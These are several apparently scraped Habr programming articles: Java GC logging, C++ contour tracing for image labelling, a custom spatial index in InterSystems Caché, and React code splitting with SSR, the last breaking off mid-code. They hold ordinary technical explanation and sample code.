| Z1 | Выполняет всю тяжелую работу параллельно с работой приложения. | Низкая задержка. | В приоритете время отклика. | +UseZGC |
*Сборщики мусора в Java*
### Инструменты мониторинга GC
#### Что мониторить?
1. Частота запуска сборки мусора. Так как GC вызывает "stop the world", поэтому чем время сборки мусора меньше, тем лучше.
2. Длительность одного цикла сборки мусора.
#### Как мониторить сборщик мусора?
Для мониторинга можно использовать следующие инструменты:
1. [Visual VM](https://visualvm.github.io/)
2. Для включения логирования событий сборщика мусора добавьте следующие параметры JVM:
```
-XX:+PrintGCDateStamps -verbose:gc -XX:+PrintGCDetails -
Xloggc:/tmp/[Application-Name]-[Application-port]-%t-gc.log -
XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=20 -
XX:GCLogFileSize=100M
```
Логи GC выглядят следующим образом:
```
[15,651s][info ][gc] GC(36) Pause Young (G1 Evacuation Pause) 239M->57M(307M) (15,646s, 15,651s) 5,048ms
```
Объяснение:
```
[Время старта приложения = 15,651s]
[Уровень сообщения = info]
[Тег = gc]
[Тип GC = Pause Young]
[Причина запуска GC = G1 Evacuation Pause]
[Информация о потреблении памяти : "занято до GC" = 239M -> "занято после GC" = 57M (Размер кучи = 307M)]
[Время начала и окончания GC = 15,646s, 15,651s]
[Общее время GC = 5,048ms]
```
Логи GC удобно анализировать с помощью [gcEasy.io](https://gceasy.io/)
Ссылки* <https://docs.oracle.com/en/java/javase/15/gctuning/>
* <https://www.oracle.com/webfolder/technetwork/tutorials/mooc/JVM_Troubleshooting/week1/lesson1.pdf>
* <https://sergiomartinrubio.com/articles/java-memory-model-overview>
---
> Узнать подробнее о курсе [«**Подготовка к сертификации Oracle Java Programmer (OCAJP)**»](https://otus.pw/XVjm/)
>
> Смотреть запись демо-занятия [**«Конструкторы и блоки инициализации»**](https://otus.pw/l0kG/)
>
> | https://habr.com/ru/post/553996/ | null | ru | null |
# Быстрая маркировка изображений с использованием внешних контуров
 В статье расскажу как достаточно быстро перечислить связные объекты на бинарном растре. Этот алгоритм мы использовали для распознавания изображений и текстов; он отличается от [подобных](http://habrahabr.ru/blogs/image_processing/119244/) высокой скоростью обработки (на картинках до 3200x2400, с некоторыми оговорками, он отрабатывает за миллисекунды) и доступностью в понимании (при наличии некоторых знаний C++). Отмечу, что исходная картинка будет трактоваться алгоритмом как «только для чтения» (зачем портить то, с чем могут работать другие методы), и в связи с этим, алгоритму потребуется небольшое количество дополнительной памяти. Кроме того, внешние контуры являются полезным объектом для [анализа](http://habrahabr.ru/blogs/image_processing/118486/) и векторизации изображений.
 Итак, задача: исходное изображение (массив точек Image) преобразовать в список контуров. Контур — это просто набор внешних точек для связной части изображения. Например, контур для залитого круга — окружность, полученная из всех внешних точек.
Используется восьми-связность, то есть, две точки связны, если они являются соседями по отношению к направлениям вверх-влево-вправо-вниз и по диагоналям. Таким образом, у каждой точки может быть до восьми соседей.
##### Небольшая подготовка
Начнем построение алгоритма, который достаточно эффективно получает контур по заданной начальной внешней точке объекта со следующей структуры:
> `class Contour : public Points
>
> {
>
> // references to the constructor params
>
> const Image& SourceImage;
>
> ImageMap& CurrentImageMap;
>
>
>
> public:
>
> /\* here we assume that image is coherent in any of 8 ways,
>
> \* so if the pixel will not have neighbor in any of 4 diagonal and 4 straight directions
>
> \* then it will be considered as separate image part \*/
>
>
>
> // extract contour and mark all coherent points on image map
>
> Contour(const Image& img, ImageMap& map, const Point& start);
>
>
>
> private:
>
> // private methods for contour pass implementation only
>
> void passDownLeft(Point& p, bool InvertedAxis = false);
>
> Point movePoint(const Point& src, int x, int y, bool InvertedAxis = false);
>
> Point commitPoint(const Point& p);
>
> };`
Здесь перечислены все необходимые объекты и методы, которые мы рассмотрим. Конструктор сомнений не вызывает, SourceImage тоже.
Что такое ImageMap? В действительности, алгоритму построения контура необходимо как-то помечать точки, чтобы предотвращать повторное их посещение, поэтому рассмотренные точки будут маркированы номером объекта, к которому они принадлежат.
Казалось бы, это потребует памяти столько же, сколько занимает исходная картинка, но мы будем использовать более эффективную структуру. Нет смысла тратить память на точки, не принадлежащие контуру или лежащие внутри него, так что хочется хранить только граничные точки с небольшими накладными расходами и уметь быстро их адресовать.
В основе структуры лежит индекс блоков изображения размером STEP2. Сам индекс представляет собой массив ссылок на блоки, размером X/STEP \* Y/STEP, где X и Y — разрешение исходной картинки. При обращении к блоку на запись, он выделяется в памяти и соответствующий индексный элемент маркируется его указателем. В самом худшем случае, мы получим использование памяти равное размеру картинки, если каждая (n\*STEP,m\*STEP) точка будет промаркирована, но в среднем мы экономим 50-90% памяти. Индексация, как вы уже догадались, производится просто делением координат на STEP, и если STEP — степень двойки, то это работает замечательно быстро.
Кстати, после выполнения алгоритма, ImageMap представляет собой результат задачи перечисления объектов на изображении.
Метод commitPoint служит для добавления точки в контур и ассоциации ImageMap с текущим контуром:
> `Point Contour::commitPoint(const Point& p)
>
> {
>
> if (!CurrentImageMap.isAssigned(p) && SourceImage.isFilled(p))
>
> {
>
> CurrentImageMap.assignSegment(p, this);
>
> push\_back(p);
>
> }
>
> return p;
>
> }`
Конечно, это уже детали реализации, но здесь все просто, и может быть переиспользовано. Функция movePoint тоже совсем несложная, просто добавляет к точке заданное приращение:
> `Point Contour::movePoint(const Point& src, int x, int y, bool InvertedAxis)
>
> {
>
> Point p = src;
>
> if (InvertedAxis)
>
> {
>
> x = -x;
>
> y = -y;
>
> }
>
> p.X += x;
>
> p.Y += y;
>
> return p;
>
> }`
Параметр InvertedAxis, как нетрудно догадаться, просто меняет приращение на противоположное (это нам потом пригодится).
##### Ядро алгоритма
Что ж, теперь интересное. Собственно, сама функция обхода: passDownLeft. Для заданной начальной точки мы хотим обойти объект, двигаясь вниз, и *по возможности* влево.
Пока мы находимся в пределах объекта (т.е. цвет текущей точки не равен цвету фона):
* Опустимся на одну точку вниз, относительно текущей.
* Если левая точка, относительно новой текущей заполнена — то нам повезло, двигаемся влево «до упора». Если точка над самой левой заполнена — то мы нашли самопересечение и выходим из обхода.
* Если не заполнена, двигаемся вправо, пока не достигнем заполненной точки.
Звучит достаточно просто, но точная реализация выглядит чуть сложнее:
> `void Contour::passDownLeft(Point& p, bool InvertedAxis)
>
> {
>
> while (SourceImage.isInside(p))
>
> {
>
> commitPoint(p);
>
>
>
> // step one point down
>
> p = movePoint(p, 0,1, InvertedAxis);
>
>
>
> // select one of neighbors which is filled, prefer left one...
>
> Point left = movePoint(p, -1,0, InvertedAxis);
>
> if (SourceImage.isFilled(left))
>
> {
>
> p = commitPoint(left);
>
> // ...and shift left as many as possible
>
> while (SourceImage.isInside(p))
>
> {
>
> Point left = movePoint(p, -1,0, InvertedAxis);
>
> if (!SourceImage.isFilled(left))
>
> break; // no more left neighbors
>
>
>
> p = commitPoint(left);
>
>
>
> Point up = movePoint(p, 0,-1, InvertedAxis);
>
> if (SourceImage.isFilled(up))
>
> return; // crossed inside area
>
> }
>
> }
>
> else
>
> {
>
> // selection still unfilled...
>
> while (SourceImage.isInside(p) && !SourceImage.isFilled(p))
>
> {
>
> // ...shift right by connected points and test again
>
> Point right = movePoint(p, 1,0, InvertedAxis);
>
> Point rightUp = movePoint(right, 0,-1, InvertedAxis);
>
> if (!SourceImage.isFilled(rightUp))
>
> return; // no more bottom right neighbors
>
> commitPoint(rightUp);
>
> p = commitPoint(right);
>
> }
>
> }
>
> }
>
> }`
Функция isInside проверяет, лежит ли точка в пределах картинки, дабы не выйти за ее границы.
Запустив этот обход на тестовой картинке (салатовые точки — стартовые для обхода каждого объекта) мы, как и следовало ожидать не получим контуров, так как процесс построения упрется в самые нижние точки каждого объекта. Поэтому одной такой функции не достаточно. Но, дополнить контур можно производя обход вверх-вправо, что легко получается предусмотренным на этот случай флажком InvertedAxis! Таким образом, дополнить алгоритм построения контура позволит специально оставленный напоследок конструктор:
> `Сontour::Contour(const Image& img, ImageMap& map, const Point& start)
>
> : SourceImage(img), CurrentImageMap(map)
>
> {
>
> bool doneSomething = true;
>
> Point p = start;
>
> for (int iter = 0; doneSomething; iter++)
>
> {
>
> size\_t count = size();
>
> passDownLeft(p, iter % 2 == 1);
>
> doneSomething = size() > count;
>
> }
>
> }`
Мы будем чередовать обходы вниз-влево и вверх-вправо, до тех пор, пока это будет добавлять новые точки в контур.
Итак, мы получили рабочий метод перечисления всех точек внешнего контура для заданного объекта изображения, работающий за линейное время, относительно количества точек этого контура.
##### Перечисление стартовых точек
Дело осталось за малым — по исходной картинке найти все стартовые точки для построения контуров:
> `void Vectorization::getContours()
>
> {
>
> Point p(0,0); // line-by-line scan to extract contours of objects
>
> for (p.Y = 0; p.Y < SourceImage.getHeight(); p.Y++)
>
> {
>
> for (p.X = 0; p.X < SourceImage.getWidth(); p.X++)
>
> {
>
> if (SourceImage.isFilled(p) && !ImageMap.isAssigned(p))
>
> {
>
> // that pixel is unprocessed yet, so extract the contour starting from it
>
> Contour\* c = new Contour(SourceImage, ImageMap, p);
>
> // add new contour
>
> ContoursStorage.push\_back( c );
>
> }
>
> }
>
> }
>
> }`
Вот он-то пока и является самой медленной частью алгоритма: ведь нужно обойти каждую точку изображения.
Но его оптимизация тоже практически лежит на поверхности: будем использовать такую же индексную структуру, как при хранении ImageMap, поделив изображение на блоки размера STEP2.
> `void Vectorization::getContoursOptimized()
>
> {
>
> Point pIndex(0,0); // step-by-step scan
>
> for (pIndex.Y = 0; pIndex.Y < SourceImage.getHeight(); pIndex.Y += STEP)
>
> {
>
> for (pIndex.X = 0; pIndex.X < SourceImage.getWidth(); pIndex.X += STEP)
>
> {
>
> if (!SourceImage.isEmptyIndex(pIndex))
>
> {
>
> Point pLocal = pIndex;
>
> for (pLocal.Y = pIndex.Y ; pLocal.Y < STEP; pLocal.Y++)
>
> {
>
> for (pLocal.X = pIndex.X ; pLocal.X < STEP; pLocal.X++)
>
> {
>
> if (SourceImage.isFilled(pLocal))
>
> {
>
> if (Map.isAssigned(pLocal))
>
> {
>
> pLocal.X = dynamic\_cast(Map.getSegment(pLocal))->getMaxX(pLocal.Y);
>
> break; /\* skip already processed points by getting the max contour X for the specified Y \*/
>
> }
>
> // that pixel is unprocessed yet, so extract the contour starting from it
>
> Contour\* cntr = new Contour(SourceImage, Map, pLocal);
>
> // add new contour
>
> ContoursStorage.push\_back( cntr ) ;
>
> }
>
> }
>
> }
>
> }
>
> }
>
> }
>
> }`
Сложность такого алгоритма пропорциональна количеству точек внешних контуров для объектов изображения.
##### Подвох
Из последнего факта следует, что данный метод в общем-то не очень хорош на изображениях, где практически нет ни одной группы связанных точек, при этом заполнение точками близко к полному из возможных (25% — каждая вторая точка по каждой координате заполнена, остальные — нет).
Но с точки зрения проблематики обработки изображений такие картинки — просто шум, который легко срезается предварительными фильтрами. Так что все хорошо :) | https://habr.com/ru/post/119461/ | null | ru | null |
# Собственные типы индексов в СУБД Caché
[](http://habrahabr.ru/post/272689/)В объектной и реляционной моделях данных СУБД Caché есть три типа индексов — обычные, [bitmap](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=GSQL_indices#GSQL_indices_bitmap) и [bitslice](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=GSQL_indices#GSQL_indices_bitslice). Если по каким-то причинам этих индексов не хватает, начиная с версии 2013.1 программист может определить свой тип индексов и использовать его в любых классах.
Подробности под катом (если вас не пугают слова типа метод-генератор).
«Свой тип индексов» — это класс, реализующий методы интерфейса *%Library.FunctionalIndex* для вставки / удаления / изменения значений в индексе. Этот класс можно указывать как тип индекса в определении индекса.
Например:
```
Property A As %String;
Property B As %String;
Index someind On (A,B) As CustomPackage.CustomIndex;
```
Класс *CustomPackage.CustomIndex* как раз и есть реализация своего типа индексов.
В качестве примера рассмотрим небольшой прототип индекса-квадродерева для пространственных данных, созданный на [хакатоне](http://habrahabr.ru/company/intersystems/blog/267459/) командой в составе Андрея [ARechitsky](http://habrahabr.ru/users/arechitsky/) Речитского, [Александра Погребникова](https://github.com/APogrebnikov) и автора этих строк. Хакатон проходил в рамках ежегодной школы разработчиков InterSystems (отдельное спасибо вдохновителю хакатона [tsafin](http://habrahabr.ru/users/tsafin/)). Материалы школы, кстати, доступны на [нашем сайте](http://www.intersystems.com/ru/who-we-are/events/event/school-2015/).
В данной статье мы не будем касаться того, что такое квадродерево и как с ним работать.
Остановимся на создании класса, реализующего интерфейс *%Library.FunctionalIndex* для имеющейся реализации квадродерева. Ей в нашей хакатонной команде занимался Андрей. Андрей создал класс *SpatialIndex.Indexer*, который умел два метода — *Insert(x, y, id)* и *Delete(x, y, id)*. При создании объекта класса *SpatialIndex.Indexer* нужно было указать узел глобала, в подузлы которого писался индекс. Мне оставалось создать класс *SpatialIndex.Index*, реализующий методы *InsertIndex*, *UpdateIndex*, *DeleteIndex* и *PurgeIndex*. Первые три из этих методов принимают на входе *Id* изменяемой строки и индексируемые значения в том же порядке, как и в определении индекса в классе, где этот индекс используется. В нашем примере, *pArg(1)* — *A*, *pArg(2)* — *B*.
```
Class SpatialIndex.Index Extends %Library.FunctionalIndex [ System = 3 ]
{
ClassMethod InsertIndex(pID As %CacheString, pArg... As %Binary) [ CodeMode = generator, ServerOnly = 1 ]
{
if %mode'="method" { //'
set IndexGlobal = ..IndexLocation(%class,%property)
$$$GENERATE($C(9)_"set indexer = ##class(SpatialIndex.Indexer).%New($Name("_IndexGlobal_"))")
$$$GENERATE($C(9)_"do indexer.Insert(pArg(1),pArg(2),pID)")
}
}
ClassMethod UpdateIndex(pID As %CacheString, pArg... As %Binary) [ CodeMode = generator, ServerOnly = 1 ]
{
if %mode'="method" { //'
set IndexGlobal = ..IndexLocation(%class,%property)
$$$GENERATE($C(9)_"set indexer = ##class(SpatialIndex.Indexer).%New($Name("_IndexGlobal_"))")
$$$GENERATE($C(9)_"do indexer.Delete(pArg(3),pArg(4),pID)")
$$$GENERATE($C(9)_"do indexer.Insert(pArg(1),pArg(2),pID)")
}
}
ClassMethod DeleteIndex(pID As %CacheString, pArg... As %Binary) [ CodeMode = generator, ServerOnly = 1 ]
{
if %mode'="method" { //'
set IndexGlobal = ..IndexLocation(%class,%property)
$$$GENERATE($C(9)_"set indexer = ##class(SpatialIndex.Indexer).%New($Name("_IndexGlobal_"))")
$$$GENERATE($C(9)_"do indexer.Delete(pArg(1),pArg(2),pID)")
}
}
ClassMethod PurgeIndex() [ CodeMode = generator, ServerOnly = 1 ]
{
if %mode'="method" { //'
set IndexGlobal = ..IndexLocation(%class,%property)
$$$GENERATE($C(9)_"kill " _ IndexGlobal)
}
}
ClassMethod IndexLocation(className As %String, indexName As %String) As %String
{
set storage = ##class(%Dictionary.ClassDefinition).%OpenId(className).Storages.GetAt(1).IndexLocation
quit $Name(@storage@(indexName))
}
}
```
Метод *IndexLocation* — вспомогательный, по имени класса и индекса он возвращает имя узла глобала, в котором нужно хранить значения индекса.
Рассмотрим тестовый класс с индексом типа *SpatialIndex.Index*:
```
Class SpatialIndex.Test Extends %Persistent
{
Property Name As %String(MAXLEN = 300);
Property Latitude As %String;
Property Longitude As %String;
Index coord On (Latitude, Longitude) As SpatialIndex.Index;
}
```
При компиляции класса *SpatialIndex.Test* для каждого индекса типа *SpatialIndex.Index* в INT-коде генерируются методы:
```
zcoordInsertIndex(pID,pArg...) public {
set indexer = ##class(SpatialIndex.Indexer).%New($Name(^SpatialIndex.TestI("coord")))
do indexer.Insert(pArg(1),pArg(2),pID) }
zcoordPurgeIndex() public {
kill ^SpatialIndex.TestI("coord") }
zcoordSegmentInsert(pIndexBuffer,pID,pArg...) public {
do ..coordInsertIndex(pID, pArg...) }
zcoordUpdateIndex(pID,pArg...) public {
set indexer = ##class(SpatialIndex.Indexer).%New($Name(^SpatialIndex.TestI("coord")))
do indexer.Delete(pArg(3),pArg(4),pID)
do indexer.Insert(pArg(1),pArg(2),pID)
}
```
А методы *%SaveData*, *%DeleteData*, *%SQLInsert*, *%SQLUpdate*, *%SQLDelete* вызывают методы индекса. Например, в *%SaveData*:
```
if insert {
// ...
do ..coordInsertIndex(id,i%Latitude,i%Longitude,"")
// ...
} else {
// ...
do ..coordUpdateIndex(id,i%Latitude,i%Longitude,zzc27v3,zzc27v2,"")
// ...
}
```
Веселее всего смотреть на работающий пример — загрузите файлы из репозитория <https://github.com/intersystems-ru/spatialindex/tree/no-web-interface>. Это ссылка на ветку без веб-интерфейса. Импортируйте сами классы, распакуйте RuCut.zip и загрузите данные:
```
do $system.OBJ.LoadDir("c:\temp\spatialindex","ck")
do ##class(SpatialIndex.Test).load("c:\temp\rucut.txt")
```
В файле rucut.txt хранятся данные о 100’000 населённых пунктах России — название и координаты. Метод *load* читает каждую строку из файла и сохраняет как объект класса *SpatialIndex.Test*. После его выполнения в глобале *^SpatialIndex.TestI(«coord»)* будет хранится квадродерево по координатам *Latitude* и *Longitude*.
А теперь запросы
----------------
Построить индекс — полдела. Интереснее всего, когда запросы могут этот индекс использовать. Для индексов нестандартных типов есть стандартный синтаксис их использования, который выглядит примерно так:
```
SELECT *
FROM SpatialIndex.Test
WHERE %ID %FIND search_index(coord, 'window', 'minx=56,miny=56,maxx=57,maxy=57')
```
Здесь *%ID %FIND search\_index* — фиксированная часть. Дальше идёт имя индекса, обратите внимание, без кавычек. Все остальные параметры *('window', 'minx=56,miny=56,maxx=57,maxy=57)* передаются в метод *Find*, который тоже нужно определить в классе, описывающем тип индекса (в нашем случае — *SpatialIndex.Index*):
```
ClassMethod Find(queryType As %Binary, queryParams As %String) As %Library.Binary [ CodeMode = generator, ServerOnly = 1, SqlProc ]
{
if %mode'="method" { //'
set IndexGlobal = ..IndexLocation(%class,%property)
set IndexGlobalQ = $$$QUOTE(IndexGlobal)
$$$GENERATE($C(9)_"set result = ##class(SpatialIndex.SQLResult).%New()")
$$$GENERATE($C(9)_"do result.PrepareFind($Name("_IndexGlobal_"), queryType, queryParams)")
$$$GENERATE($C(9)_"quit result")
}
}
```
Здесь параметра два — *queryType* и *queryParams*, но это совершенно не обязательно, их может быть больше или меньше.
Метод *Find* при компиляции класса, в котором используется индекс *SpatialIndex.Index*, генерирует вспомогательный метод *zFind*, который вызывается при выполнении SQL запросов:
```
zcoordFind(queryType,queryParams) public { Set:'$isobject($get(%sqlcontext)) %sqlcontext=##class(%Library.ProcedureContext).%New()
set result = ##class(SpatialIndex.SQLResult).%New()
do result.PrepareFind($Name(^SpatialIndex.TestI("coord")), queryType, queryParams)
quit result }
```
Метод *Find* должен возвращать экземпляр класса, реализующего интерфейс *%SQL.AbstractFind*. Методы этого интерфейса — *NextChunk*, *PreviousChunk* возвращают битовые строки кусками по 64000 бит. Если запись с номером *ID* удовлетворяет условиям выборки, то соответствующий бит (номер\_куска \* 64000 + номер\_позиции\_внутри\_куска) установлен в 1.
```
Class SpatialIndex.SQLResult Extends %SQL.AbstractFind
{
Property ResultBits [ MultiDimensional, Private ];
Method %OnNew() As %Status [ Private, ServerOnly = 1 ]
{
kill i%ResultBits
kill qHandle
quit $$$OK
}
Method PrepareFind(indexGlobal As %String, queryType As %String, queryParams As %Binary) As %Status
{
if queryType = "window" {
for i = 1:1:4 {
set item = $Piece(queryParams, ",", i)
set param = $Piece(item, "=", 1)
set value = $Piece(item, "=" ,2)
set arg(param) = value
}
set qHandle("indexGlobal") = indexGlobal
do ##class(SpatialIndex.QueryExecutor).InternalFindWindow(.qHandle,arg("minx"),arg("miny"),arg("maxx"),arg("maxy"))
set id = ""
for {
set id = $O(qHandle("data", id),1,idd)
quit:id=""
set tChunk = (idd\64000)+1, tPos=(idd#64000)+1
set $BIT(i%ResultBits(tChunk),tPos) = 1
}
}
quit $$$OK
}
Method ContainsItem(pItem As %String) As %Boolean
{
set tChunk = (pItem\64000)+1, tPos=(pItem#64000)+1
quit $bit($get(i%ResultBits(tChunk)),tPos)
}
Method GetChunk(pChunk As %Integer) As %Binary
{
quit $get(i%ResultBits(pChunk))
}
Method NextChunk(ByRef pChunk As %Integer = "") As %Binary
{
set pChunk = $order(i%ResultBits(pChunk),1,tBits)
quit:pChunk="" ""
quit tBits
}
Method PreviousChunk(ByRef pChunk As %Integer = "") As %Binary
{
set pChunk = $order(i%ResultBits(pChunk),-1,tBits)
quit:pChunk="" ""
quit tBits
}
}
```
Метод *InternalFindWindow* класса *SpatialIndex.QueryExecutor* в приведённом выше примере, это реализация поиска точек, попадающих в заданных прямоугольник. Дальше, в цикле FOR, *ID* подходящих строк пишутся в битовые наборы.
В нашем хакатонном проекте кроме поиска в прямоугольнике Андрей реализовал поиск внутри овала:
```
SELECT *
FROM SpatialIndex.Test
WHERE %ID %FIND search_index(coord,'radius','x=55,y=55,radiusX=2,radiusY=2')
and name %StartsWith 'Z'
```
Немного о предикате *%FIND*
---------------------------
У этого предиката есть дополнительный параметр *SIZE*, который может подсказать оптимизатору запроса примерный порядок количества строк, которые будут удовлетворять предикату. На основе этого параметра оптимизатор сделает выбор использовать или нет индекс, к которому *%FIND* обращается.
Для примера, добавим следующий индекс к классу *SpatialIndex.Test*:
```
Index ByName on Name;
```
Перекомпилируем класс и построим этот индекс:
```
write ##class(SpatialIndex.Test).%BuildIndices($LB("ByName"))
```
И, конечно, запустим TuneTable:
```
do $system.SQL.TuneTable("SpatialIndex.Test", 1)
```
Рассмотрим план запроса:
```
SELECT *
FROM SpatialIndex.Test
WHERE name %startswith 'za'
and %ID %FIND search_index(coord,'radius','x=55,y=55,radiusX=2,radiusY=2') size ((10))
```
Индекс coord предположительно вернёт мало строк, поэтому в индекс по полю *Name* оптимизатор обращаться не будет.
Другая картина для запроса:
```
SELECT *
FROM SpatialIndex.Test
WHERE name %startswith 'za'
and %ID %FIND search_index(coord,'radius','x=55,y=55,radiusX=2,radiusY=2') size ((1000))
```
При выполнении этого запроса будут использоваться оба индекса.
В качестве последнего примера, запрос, который использует только индекс по полю *Name* — использовать индекс *coord*, если ожидается что он вернёт около 100’000 строк, бесполезно:
```
SELECT *
FROM SpatialIndex.Test
WHERE name %startswith 'za'
and %ID %FIND search_index(coord,'radius','x=55,y=55,radiusX=2,radiusY=2') size ((100000))
```
Спасибо всем, кто дочитал или хотя бы просмотрел эту статью до конца.
Большим подспорьем кроме документации, ссылки на которую чуть ниже, будут другие реализации интерфейсов *%Library.FunctionalIndex* и *%SQL.AbstractFind*. Чтобы эти реализации посмотреть — откройте в студии один из этих классов и в меню выберите Класс -> Унаследованные классы.
Ссылки:
* [%FIND](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=RSQL_find)
* [search\_index](http://docs.intersystems.com/cache20152/csp/docbook/DocBook.UI.Page.cls?KEY=RSQL_searchindex)
* [%SQL.AbstractFind](http://docs.intersystems.com/cache20152/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25SQL.AbstractFind)
* [%Library.FunctionalIndex](http://docs.intersystems.com/cache20152/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25Library.FunctionalIndex) | https://habr.com/ru/post/272689/ | null | ru | null |
# React Code Splitting in 2019
It's 2019! Everybody thinks they know code splitting. So - let's double check!
What does code splitting stand for?
-----------------------------------
In short – code splitting is just about not loading a whole thing. Then you are reading this page you don't have to load a whole site. When you are selecting a single row from a database – you don't have to take all.
Obvious? Code splitting is also quite obvious, just not about your data, but your code.
Who(What?) is making code splitting?
------------------------------------
`React.lazy`? No – it only uses it. Code splitting is being done on a bundler level – webpack, parcel, or just your file system in case on "native" esm modules. Code splitting is just files, files you can load somewhere "later". So — to the questions "**What is powering code splitting?**" — the answer is — a "bundler".
Who(What) is using code splitting?
----------------------------------
`React.lazy` is using. Just using code splitting of your bundler. Just calling import when got rendered. And that's all.
What's about React-loadable?
----------------------------
`React.lazy` superseded it. And provided more features, like `Suspense` to control loading state. So - use `React.Lazy` instead.
> Yep, that's all. Thank you for reading and have a nice day.
Why article is not finished?
----------------------------
Well. There are a few grey zones about `React.lazy` and code splitting I forgot to mention.
### Grey Zone 1 – testing
It's not easy to test `React.lazy` due to its *asynchroniosity*. It would be just "empty", as long as it is not loaded yet(even if it is) – `Promises` and `import` returns, and lazy accepts, **promises**, which always got executed in the **next tick**.
Proposed solution? You would not believe, but the proposed solution is to use synchronous *thenables* — [See pull request](https://github.com/facebook/react/pull/14626). So — lets make our `imports` SYNCHRONOUS!!! *(to fix lazy issue for the tests, or any other server side case)*
```
const LazyText = lazy(() => ({
then(cb) {
cb({default: Text});
// this is "sync" thenable
},
}));
const root = ReactTestRenderer.create(
}>
// this lazy is not very lazy
,
);
```
It's not hard to convert import function to a memoized synchronous thenable.
```
const syncImport = (importFn) => {
let preloaded = undefined;
const promise = importFn().then(module => preloaded = module);
// ^ "auto" import and "cache" promise
return () => preloaded ? { then: () => preloaded } : promise;
// ^ return sync thenable then possible
}
const lazyImport = isNode ? syncImport : a => a;
// ^ sync for node, async for browser
const LazyComponent = React.lazy(lazyImport(() => import('./file'));
```
### Grey zone 2 – SSR
> If you DON'T need SSR – please continue reading the article!
`React.lazy` is SSR friendly. But it requires `Suspense` to work, and Suspense is **NOT server side friendly**.
There are 2 solutions:
* Replace Suspense with Fragment, via mocking for example. Then, use the altered version of `import` with synchronous `then` to make lazy also behave synchronously.
```
import React from 'react';
const realLazy = React.lazy;
React.lazy = importer => realLazy(syncImport(importer));
React.Suspense = React.Fragment; // :P
// ^ React SSR just got fixed :D
```
This is a good option, but it would be not quite client side friendly. Why? Let's define the 2th possible solution:
* Use a **specialised library** to track used scripts, chunks and styles, and load them on client side (especially styles!) before React hydration. Or else – you would render empty holes instead of your code splitted components. Yet again – you didn't load the code you just splitted, so you can't render anything you are going to.
### Behold code splitting libraries
* [Universal-component](https://www.npmjs.com/package/react-universal-component) – the oldest, and still maintainable library. It "invented" code splitting in terms of – taught Webpack to code split.
* [React-loadable](https://www.npmjs.com/package/react-loadable) – very popular, but an unmaintained library. Made code spitting a popular thing. Issues are closed, so there is no community around.
* [Loadable-components](https://www.npmjs.com/package/@loadable/component) – a feature complete library, it's a pleasure to use, with the most active community around.
* [Imported-component](https://www.npmjs.com/package/react-imported-component) – a single library, not bound to Webpack, ie capable to handle parcel or esm.
* [React-async-component](https://github.com/ctrlplusb/react-async-component) – already dead library(yet popular), which made a significant impact on everything around code splitting, custom React tree traversal and SSR.
* *Another library – there were many libraries, many of which did not survive Webpack evolution or React 16 – I haven't listed them here, but if you know a good candidate – just DM me.*
### Which library to pick?
It's easy – **not react-loadable** – it's heavy unmaintained and obsolete, even if it is still mega popular. (and thank you for popularizing code splitting, yet again)
*Loadable-components* – might be a very good choice. It is very well written, actively maintained and support everything out of the box. Support "full dynamic imports", allowing you to import files depending on the props given, but thus untypable. Supports Suspense, so could replace React.lazy.
*Universal-component* – actually "inventors" of full dynamic imports – they implemented it in Webpack. And many other things at low level – they did it. I would say – this library is a bit hardcore, and a bit less user friendly. Loadable-components documentation is unbeatable. It's worth if not to use this library, then read documentation - there are so many details you should know…
*React-imported-component* – is a bit odd. It's bundler independent, so it would never break (there is nothing to break), would work with Webpack 5 and 55, but that comes with a cost. While previous libraries during SSR would add all the used scripts to the page body, and you will be able to load all the scripts in a parallel – imported don't know files names, and will call the original "imports"(that's why bundle independent) to load used chunks, but able to make call only from inside the main bundle – so all additional scripts would be loaded only after the main one got downloaded and executed. Does not support full dynamic imports, like React.lazy, and, as a result – typeable. Also supports Suspense. Uses synchronous *thenables* on SSR. It also has an absolutely different approach for CSS, and perfect stream rendering support.
There is no difference in quality or popularity between listed libraries, and we are all good friends – so pick by your heart.
Grey zone 3 – hybrid render
---------------------------
SSR is a good thing, but, you know, hard. Small projects might want to have a SSR – there are a lot of reasons to have it – but they might not want to setup and maintain it.
> SSR could be really, REALLY hard. Try razzle or go with Next.js if you want a quick win.
So the easiest my solution for SSR, especially for simple SPA would be prerendering. Like opening your SPA in a browser and hitting "Save" button. Like:
* [React-snap](https://github.com/stereobooster/react-snap) - uses [puppeteer](https://github.com/GoogleChrome/puppeteer)(aka headless Chrome) to render your page in a "browser" and saves a result as a static HTML page.
* [Rendertron](https://github.com/GoogleChrome/rendertron) - which does the same, but in a different (*cloud*) way.
Prerendering is "SSR" without "Server". It's SSR using a Client. Magic! And working out of the box… … … but not for code spitting.
So - you just rendered your page in a browser, saved HTML, and asked to load the same stuff. But Server Side Specific Code (to collect all used chunks) was not used, cos **THERE IS NO SERVER**!
In the previous part, I've pointed to libraries which are bound to webpack in terms of collecting information about used chunks - they could not handle hybrid render at all.
> Loadable-components version 2(incompatible with current version 5), was partially supported by react-snap. Support has gone.
React-imported-component could handle this case, as long as it is not bound to the bundler/side, so there is no difference for SSR or Hybrid, but only for react-snap, as long as it support "state hydration", while rendertron does not.
> This ability of react-imported-component was found during writing this article, it was not known before - see [example](https://github.com/theKashey/react-imported-component/tree/master/examples/hybrid/react-snap). It's quite easy.
And here you have to use another solution, which is just perpendicular to all other libraries.
### React-prerendered-component
This library was created for partial hydration, and could partially rehydrate your app, keeping the rest still de-hydrated. And it works for SSR and Hybrid renderers without any difference.
The idea is simple:
* during SSR - render the component ,wrapped with a
* on the client - find that div, and use innerHTML until Component is ready to replace dead HTML.
* you don't have to load, and wait for a chunk with splitted component before `hydrate` to *NOT render a white hole instead of it* - just use pre-rendered HTML, which is absolutely equal to the one *a real component* would render, and which already exists — it comes with a server(or hydrid) response.
> That's why we have to wait for all the chunks to load before hydrate - to **match** server-rendered HTML. That's why we could use pieces of server-rendered HTML until client is not ready — it is equal to the one we are only going to produce.
```
import {PrerenderedComponent} from 'react-prerendered-component';
const importer = memoizeOne(() => import('./Component'));
// ^ it's very important to keep the "one" promise
const Component = React.lazy(importer);
// or use any other library with ".prefetch" support
// all libraries has it (more or less)
const App = () => (
